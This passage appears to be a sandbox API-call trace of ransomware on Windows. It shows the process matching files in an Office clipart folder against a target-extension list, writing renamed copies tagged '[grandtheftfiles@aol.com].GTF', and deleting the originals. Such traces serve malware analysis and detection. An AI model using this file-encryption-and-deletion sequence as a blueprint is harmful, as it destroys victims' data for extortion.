	[0174.308] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0174.308] lstrlenW (lpString=".ppt") returned 4
	[0174.308] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.308] lstrlenW (lpString=".zip") returned 4
	[0174.308] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.308] lstrlenW (lpString=".rar") returned 4
	[0174.308] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.308] lstrlenW (lpString=".bz2") returned 4
	[0174.308] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.308] lstrlenW (lpString=".7z") returned 3
	[0174.308] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.308] lstrlenW (lpString=".dbf") returned 4
	[0174.308] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.308] lstrlenW (lpString=".1cd") returned 4
	[0174.308] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68
	[0174.308] lstrlenW (lpString=".jpg") returned 4
	[0174.308] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.308] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0174.308] lstrlenW (lpString="J0148798.JPG") returned 12
	[0174.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.411] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=38237) returned 1
	[0174.411] CloseHandle (hObject=0x590) returned 1
	[0174.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220
	[0174.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0174.549] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.549] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0174.550] GetLastError () returned 0x0
	[0174.550] ReadFile (in: hFile=0x584, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x955d, lpOverlapped=0x0) returned 1
	[0174.566] WriteFile (in: hFile=0x374, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x9560, lpOverlapped=0x0) returned 1
	[0174.572] ReadFile (in: hFile=0x584, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.572] WriteFile (in: hFile=0x374, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.573] SetEndOfFile (hFile=0x374) returned 1
	[0174.573] CloseHandle (hObject=0x374) returned 1
	[0174.593] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.593] SetEndOfFile (hFile=0x584) returned 1
	[0174.598] CloseHandle (hObject=0x584) returned 1
	[0174.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1
	[0174.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.599] lstrlenW (lpString=".doc") returned 4
	[0174.599] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.599] lstrlenW (lpString=".docx") returned 5
	[0174.599] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0174.599] lstrlenW (lpString=".pdf") returned 4
	[0174.599] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.599] lstrlenW (lpString=".xls") returned 4
	[0174.599] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.599] lstrlenW (lpString=".xlsx") returned 5
	[0174.599] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0174.599] lstrlenW (lpString=".ppt") returned 4
	[0174.599] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.599] lstrlenW (lpString=".zip") returned 4
	[0174.599] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.599] lstrlenW (lpString=".rar") returned 4
	[0174.600] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.600] lstrlenW (lpString=".bz2") returned 4
	[0174.600] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.600] lstrlenW (lpString=".7z") returned 3
	[0174.600] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.600] lstrlenW (lpString=".dbf") returned 4
	[0174.600] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.600] lstrlenW (lpString=".1cd") returned 4
	[0174.600] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.600] lstrlenW (lpString=".jpg") returned 4
	[0174.600] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.600] lstrlenW (lpString=".doc") returned 4
	[0174.600] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.600] lstrlenW (lpString=".docx") returned 5
	[0174.600] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0174.600] lstrlenW (lpString=".pdf") returned 4
	[0174.600] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.600] lstrlenW (lpString=".xls") returned 4
	[0174.601] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.601] lstrlenW (lpString=".xlsx") returned 5
	[0174.601] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0174.601] lstrlenW (lpString=".ppt") returned 4
	[0174.601] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.601] lstrlenW (lpString=".zip") returned 4
	[0174.601] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.601] lstrlenW (lpString=".rar") returned 4
	[0174.601] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.601] lstrlenW (lpString=".bz2") returned 4
	[0174.601] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.601] lstrlenW (lpString=".7z") returned 3
	[0174.601] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.601] lstrlenW (lpString=".dbf") returned 4
	[0174.601] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.601] lstrlenW (lpString=".1cd") returned 4
	[0174.601] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0174.601] lstrlenW (lpString=".jpg") returned 4
	[0174.601] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.601] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0174.601] lstrlenW (lpString="J0150150.WMF") returned 12
	[0174.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0174.602] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=46404) returned 1
	[0174.602] CloseHandle (hObject=0x584) returned 1
	[0174.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220
	[0174.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0174.603] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.603] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0174.604] GetLastError () returned 0x0
	[0174.604] ReadFile (in: hFile=0x584, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xb544, lpOverlapped=0x0) returned 1
	[0174.667] WriteFile (in: hFile=0x574, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xb550, lpOverlapped=0x0) returned 1
	[0174.668] ReadFile (in: hFile=0x584, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.668] WriteFile (in: hFile=0x574, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.668] SetEndOfFile (hFile=0x574) returned 1
	[0174.682] CloseHandle (hObject=0x574) returned 1
	[0174.682] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.682] SetEndOfFile (hFile=0x584) returned 1
	[0174.697] CloseHandle (hObject=0x584) returned 1
	[0174.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.697] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1
	[0174.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.698] lstrlenW (lpString=".doc") returned 4
	[0174.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.698] lstrlenW (lpString=".docx") returned 5
	[0174.698] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0174.698] lstrlenW (lpString=".pdf") returned 4
	[0174.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.698] lstrlenW (lpString=".xls") returned 4
	[0174.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.698] lstrlenW (lpString=".xlsx") returned 5
	[0174.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0174.699] lstrlenW (lpString=".ppt") returned 4
	[0174.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.699] lstrlenW (lpString=".zip") returned 4
	[0174.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.699] lstrlenW (lpString=".rar") returned 4
	[0174.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.699] lstrlenW (lpString=".bz2") returned 4
	[0174.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.699] lstrlenW (lpString=".7z") returned 3
	[0174.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.699] lstrlenW (lpString=".dbf") returned 4
	[0174.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.699] lstrlenW (lpString=".1cd") returned 4
	[0174.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.699] lstrlenW (lpString=".jpg") returned 4
	[0174.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.699] lstrlenW (lpString=".doc") returned 4
	[0174.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.699] lstrlenW (lpString=".docx") returned 5
	[0174.699] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0174.699] lstrlenW (lpString=".pdf") returned 4
	[0174.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.699] lstrlenW (lpString=".xls") returned 4
	[0174.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.699] lstrlenW (lpString=".xlsx") returned 5
	[0174.699] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0174.700] lstrlenW (lpString=".ppt") returned 4
	[0174.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.700] lstrlenW (lpString=".zip") returned 4
	[0174.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.700] lstrlenW (lpString=".rar") returned 4
	[0174.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.700] lstrlenW (lpString=".bz2") returned 4
	[0174.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.700] lstrlenW (lpString=".7z") returned 3
	[0174.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.700] lstrlenW (lpString=".dbf") returned 4
	[0174.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.700] lstrlenW (lpString=".1cd") returned 4
	[0174.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0174.700] lstrlenW (lpString=".jpg") returned 4
	[0174.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.700] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0174.700] lstrlenW (lpString="J0150861.WMF") returned 12
	[0174.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0174.701] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8494) returned 1
	[0174.701] CloseHandle (hObject=0x584) returned 1
	[0174.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220
	[0174.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0174.702] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.702] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0174.702] GetLastError () returned 0x0
	[0174.702] ReadFile (in: hFile=0x584, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x212e, lpOverlapped=0x0) returned 1
	[0174.770] WriteFile (in: hFile=0x540, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x2130, lpOverlapped=0x0) returned 1
	[0174.771] ReadFile (in: hFile=0x584, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.771] WriteFile (in: hFile=0x540, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.771] SetEndOfFile (hFile=0x540) returned 1
	[0174.771] CloseHandle (hObject=0x540) returned 1
	[0174.771] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.772] SetEndOfFile (hFile=0x584) returned 1
	[0174.774] CloseHandle (hObject=0x584) returned 1
	[0174.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1
	[0174.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.776] lstrlenW (lpString=".doc") returned 4
	[0174.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.776] lstrlenW (lpString=".docx") returned 5
	[0174.776] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0174.776] lstrlenW (lpString=".pdf") returned 4
	[0174.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.776] lstrlenW (lpString=".xls") returned 4
	[0174.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.776] lstrlenW (lpString=".xlsx") returned 5
	[0174.776] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0174.776] lstrlenW (lpString=".ppt") returned 4
	[0174.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.776] lstrlenW (lpString=".zip") returned 4
	[0174.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.776] lstrlenW (lpString=".rar") returned 4
	[0174.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.776] lstrlenW (lpString=".bz2") returned 4
	[0174.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.776] lstrlenW (lpString=".7z") returned 3
	[0174.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.776] lstrlenW (lpString=".dbf") returned 4
	[0174.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.776] lstrlenW (lpString=".1cd") returned 4
	[0174.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.776] lstrlenW (lpString=".jpg") returned 4
	[0174.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0174.777] lstrlenW (lpString=".doc") returned 4
	[0174.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.777] lstrlenW (lpString=".docx") returned 5
	[0174.777] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0174.777] lstrlenW (lpString=".pdf") returned 4
	[0174.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.777] lstrlenW (lpString=".xls") returned 4
	[0174.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.777] lstrlenW (lpString=".xlsx") returned 5
	[0174.777] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
